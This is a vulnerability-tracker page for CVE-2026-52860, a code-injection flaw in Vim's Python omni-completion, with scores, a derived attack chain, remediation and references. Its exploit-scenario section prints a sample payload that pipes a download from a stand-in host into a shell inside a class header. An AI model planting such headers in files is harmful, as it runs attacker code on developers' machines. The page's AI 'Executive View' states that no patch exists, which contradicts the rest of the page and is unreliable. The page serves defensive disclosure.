Skip to main content

Vim EUVDEUVD-2026-36285

| CVE-2026-52860 HIGH
Code Injection (CWE-94)
2026-06-11 GitHub_M
RCE Python Code Injection Vim
7.5
CVSS 4.0 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Craft malicious Python file with payload in def/class header
  2. Delivery
    Deliver via repo, email, or shared filesystem
  3. Exploit
    Victim opens file in Vim with Python support
  4. Install
    Victim invokes omni-completion (Ctrl-X Ctrl-O)
  5. C2
    pythoncomplete rebuilds def/class and calls exec()
  6. Execute
    Python evaluates attacker expression at definition time
  7. Impact
    Arbitrary code runs as the editing user

Vulnerability Assessment

Weakness
CWE
CWE-94
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Code injection prevention, sandbox exec
MITRE ATT&CK

2 techniques across 2 tactics: Execution, Initial Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Sign in to read
Exploitation Conditions

Victim must open an attacker-controlled buffer in Vim (any version before 9.2.0597) with Python support compiled in, edit a Python-filetype file, and explicitly trigger omni-completion via <C-x><C-o> or :call pythoncomplete#Complete() / python3complete#Complete(); the malicious payload must be placed inside a def parameter default value, a parameter annotation, or a class base-class expression so that exec() evaluates it at definition time. Limiting factors: requires user interaction (UI:A in CVSS 4.0), requires Python-enabled Vim build with the default pythoncomplete omnifunc active, and the g:pythoncomplete_allow_import flag does NOT block this path, so disabling imports gives a false sense of safety.
Impact

The CVSS 4.0 vector AV:N/AC:L/AT:P/PR:N/UI:A scores 7.5 and correctly reflects the social-engineering nature: a user must open a hostile file and actively invoke Python omni-completion, so this is not wormable or driveby. The vulnerable-system impact is High across CIA because successful exploitation yields arbitrary code execution as the user running Vim. No KEV listing, no EPSS data provided, and no public PoC was identified, suggesting realistic risk is moderate and concentrated on developers who routinely edit untrusted Python files with omni-completion enabled (a common workflow in IDE-like Vim setups). The CVSS:4.0 AT:P (Attack Requirements: Present) is well justified - the victim must trigger completion on a malicious buffer - and this materially limits mass exploitation despite the network attack vector.
Exploit ScenarioDerived

An attacker publishes a Python file (for example in a repository, gist, or email attachment) whose source contains a benign-looking class or function header such as class Foo(__import__('os').system('curl evil|sh')): or def bar(x=__import__('os').system('id')):. When a developer opens the file in Vim and invokes Python omni-completion with <C-x><C-o>, the pythoncomplete script reconstructs and exec()s the header, evaluating the attacker's expression and running arbitrary code with the user's privileges.
This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 11, 2026

Arbitrary Python code execution in Vim prior to 9.2.0597 occurs when a user triggers Python omni-completion (<C-x><C-o>) on a buffer containing crafted def or class headers, because the pythoncomplete autoload reconstructs definitions and runs them through exec(), which evaluates default values, annotations, and base-class expressions at definition time. The earlier g:pythoncomplete_allow_import mitigation (GHSA-52mc-rq6p-rc7c) does not cover this sink. No public exploit identified at time of analysis, and the issue is not listed in CISA KEV.

RemediationAI

Vendor-released patch: Vim 9.2.0597 - upgrade to this version or later (commit c8c63673bc4253212820626aeeb75999d9a539d2), which strips default values and annotations from parameters and whitelists base-class expressions to pure dotted names before calling exec(); see https://github.com/vim/vim/releases/tag/v9.2.0597 and the advisory at https://github.com/vim/vim/security/advisories/GHSA-65p9-mwwx-7468. If immediate upgrade is not possible, avoid triggering Python omni-completion (<C-x><C-o>) on untrusted buffers, disable the pythoncomplete/python3complete omnifunc for the python filetype (autocmd FileType python setlocal omnifunc=), or remove/replace the two autoload scripts with patched copies from the upstream commit; the trade-off is loss of Python completion functionality for that session. Note the prior g:pythoncomplete_allow_import setting does not mitigate this path and should not be relied upon.

Affected VersionsENISA

vim < 9.2.0597

Affected Packages

euvd vim fix: 9.2.0597

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Sign in to check
Technical ContextAI · show details

The vulnerable code lives in Vim's runtime autoload scripts runtime/autoload/python3complete.vim and runtime/autoload/pythoncomplete.vim, which implement omni-completion for Python by parsing the current buffer and rebuilding stub def/class declarations that are then handed to Python's exec() to populate a completion dictionary. Because Python evaluates parameter default values, PEP 3107 annotations, and base-class expressions when a function or class statement is executed, any expression harvested from the buffer becomes attacker-controlled code at definition time. This is a CWE-94 (Improper Control of Generation of Code, 'Code Injection') flaw rooted in trusting buffer content as code rather than data; the CPE cpe:2.3:a:vim:vim:*:*:*:*:*:*:*:* covers the upstream Vim editor for all platforms shipping these autoload scripts.

Know when Vim gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources
Continue with Google Continue with GitHub

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 7.5 HIGH
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
vuln.today AI 7.8 HIGH

Exploitation requires the victim to open a local malicious file and actively invoke omni-completion, so AV:L and UI:R; no auth needed (PR:N) and full code execution gives C/I/A:H.

3.1 AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
4.0 AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
SUSE 7.8 HIGH
AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Red Hat 8.0 HIGH

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
Present
Privileges Required
None
User Interaction
Active
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

1
Patch available
Jun 11, 2026 - 20:01 EUVD

DescriptionCVE.org

Vim is an open source, command line text editor. Prior to version 9.2.0597, Vim's Python omni-completion executes reconstructed function and class definitions from the current buffer with exec() as part of populating the completion dictionary. Python evaluates function default values, parameter annotations, and class base expressions at definition time, so a hostile buffer can execute attacker-controlled Python expressions during omni-completion. The existing g:pythoncomplete_allow_import mitigation (GHSA-52mc-rq6p-rc7c) does not cover this path, because the attacker-controlled code is not a harvested import/from statement. This issue has been patched in version 9.2.0597.

Articles & Coverage 1

News 6 New Python Vulnerabilities - 1 Critical, 5 High, 3 With POC Jun 12, 2026

Executive ViewAI

Why It Matters

Vim versions prior to 9.2.0597 contain a code execution vulnerability triggered through the Python omni-completion feature, allowing attackers to execute arbitrary Python code when developers open crafted files containing specific function or class definitions. This directly threatens developer workstations and introduces supply-chain risk through potentially compromised development environments. No vendor patch is currently available.

Business Impact: High
Compensating Controls

Disable Python omni-completion feature across all Vim configurations in development environments; restrict code-completion suggestions to internal approved repositories; enforce mandatory code review for any externally sourced code definitions before opening in Vim; consider endpoint controls that limit Python execution from text-editor processes; use alternative code-completion tools without Python evaluation capabilities as interim solution.

Threat Intelligence Overview

EPSS Score
0.0%
Top 85% exploitable
Data Quality
8 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment MSRC Vendor GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

38
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +38
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Code Injection CRITICAL

Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.

Remote Code Execution CRITICAL

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

More in Vim

View all
CVE-2022-3520 CRITICAL POC
9.8 Dec 02

Heap-based Buffer Overflow in GitHub repository vim/vim prior to 9.0.0765. Rated critical severity (CVSS 9.8), this vuln
CVE-2022-0729 HIGH POC
8.8 Feb 23

Use of Out-of-range Pointer Offset in GitHub repository vim/vim prior to 8.2.4440. Rated high severity (CVSS 8.8), this

CVE-2026-34714 HIGH POC
8.6 Mar 30

Code execution vulnerability in Vim before 9.2.0272 allows attackers to gain immediate arbitrary command execution upon

CVE-2019-12735 HIGH POC
8.6 Jun 05

getchar.c in Vim before 8.1.1365 and Neovim before 0.3.6 allows remote attackers to execute arbitrary OS commands via th
CVE-2021-3968 HIGH POC
8.0 Nov 19

vim is vulnerable to Heap-based Buffer Overflow. Rated high severity (CVSS 8.0), this vulnerability is remotely exploita
CVE-2022-1616 HIGH POC
7.8 May 07

Use after free in append_command in GitHub repository vim/vim prior to 8.2.4895. Rated high severity (CVSS 7.8), this vu
CVE-2022-1619 HIGH POC
7.8 May 08

Heap-based Buffer Overflow in function cmdline_erase_chars in GitHub repository vim/vim prior to 8.2.4899. Rated high se
CVE-2021-4136 HIGH POC
7.8 Dec 19

vim is vulnerable to Heap-based Buffer Overflow. Rated high severity (CVSS 7.8), this vulnerability is no authentication
CVE-2021-3973 HIGH POC
7.8 Nov 19

vim is vulnerable to Heap-based Buffer Overflow. Rated high severity (CVSS 7.8), this vulnerability is no authentication
CVE-2021-3927 HIGH POC
7.8 Nov 05

vim is vulnerable to Heap-based Buffer Overflow. Rated high severity (CVSS 7.8), this vulnerability is no authentication
CVE-2022-2125 HIGH POC
7.8 Jun 19

Heap-based Buffer Overflow in GitHub repository vim/vim prior to 8.2. Rated high severity (CVSS 7.8), this vulnerability
CVE-2022-2126 HIGH POC
7.8 Jun 19

Out-of-bounds Read in GitHub repository vim/vim prior to 8.2. Rated high severity (CVSS 7.8), this vulnerability is no a

Same weakness CWE-94 – Code Injection

View all
CVE-2023-3519 CRITICAL POC
9.8
CVE-2021-22205 CRITICAL POC
10.0
CVE-2012-0158 HIGH POC
8.8
CVE-2021-44529 CRITICAL POC
9.8
CVE-2014-6287 CRITICAL POC
9.8
CVE-2017-7494 CRITICAL POC
9.8
CVE-2013-3906 HIGH POC
7.8
CVE-2017-9822 HIGH POC
8.8

Same technique RCE

View all
CVE-2021-44228 CRITICAL POC
10.0
CVE-2017-7269 CRITICAL POC
9.8
CVE-2022-47966 CRITICAL POC
9.8
CVE-2012-4681 CRITICAL POC
9.8
CVE-2015-5119 CRITICAL POC
9.8
CVE-2016-4117 CRITICAL POC
9.8
CVE-2015-3113 CRITICAL POC
9.8

Vendor StatusVendor

SUSE

Severity: Important
Product Status
SLES15-SP5-CHOST-BYOS-SAP-CCloud Affected
SLES15-SP6-CHOST-BYOS Affected
SLES15-SP6-CHOST-BYOS-Aliyun Affected
SLES15-SP6-CHOST-BYOS-Azure Affected
SLES15-SP6-CHOST-BYOS-EC2 Affected

References

Advisories & patches
ADVISORY https://ubuntu.com/security/notices/USN-8451-1 ADVISORY https://vuldb.com/vuln/370457 REF https://access.redhat.com/security/cve/CVE-2026-52860 REF https://bugzilla.redhat.com/show_bug.cgi?id=2487987 REF https://github.com/vim/vim/commit/c8c63673bc4253212820626aeeb75999d9a539d2 REF https://github.com/vim/vim/releases/tag/v9.2.0597 REF https://github.com/vim/vim/security/advisories/GHSA-52mc-rq6p-rc7c REF https://github.com/vim/vim/security/advisories/GHSA-65p9-mwwx-7468 REF https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-52860.json

Search Externally

GitHub PoC Exploit-DB PacketStorm Snyk Rapid7 Nuclei Templates Trickest PoC
Back

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy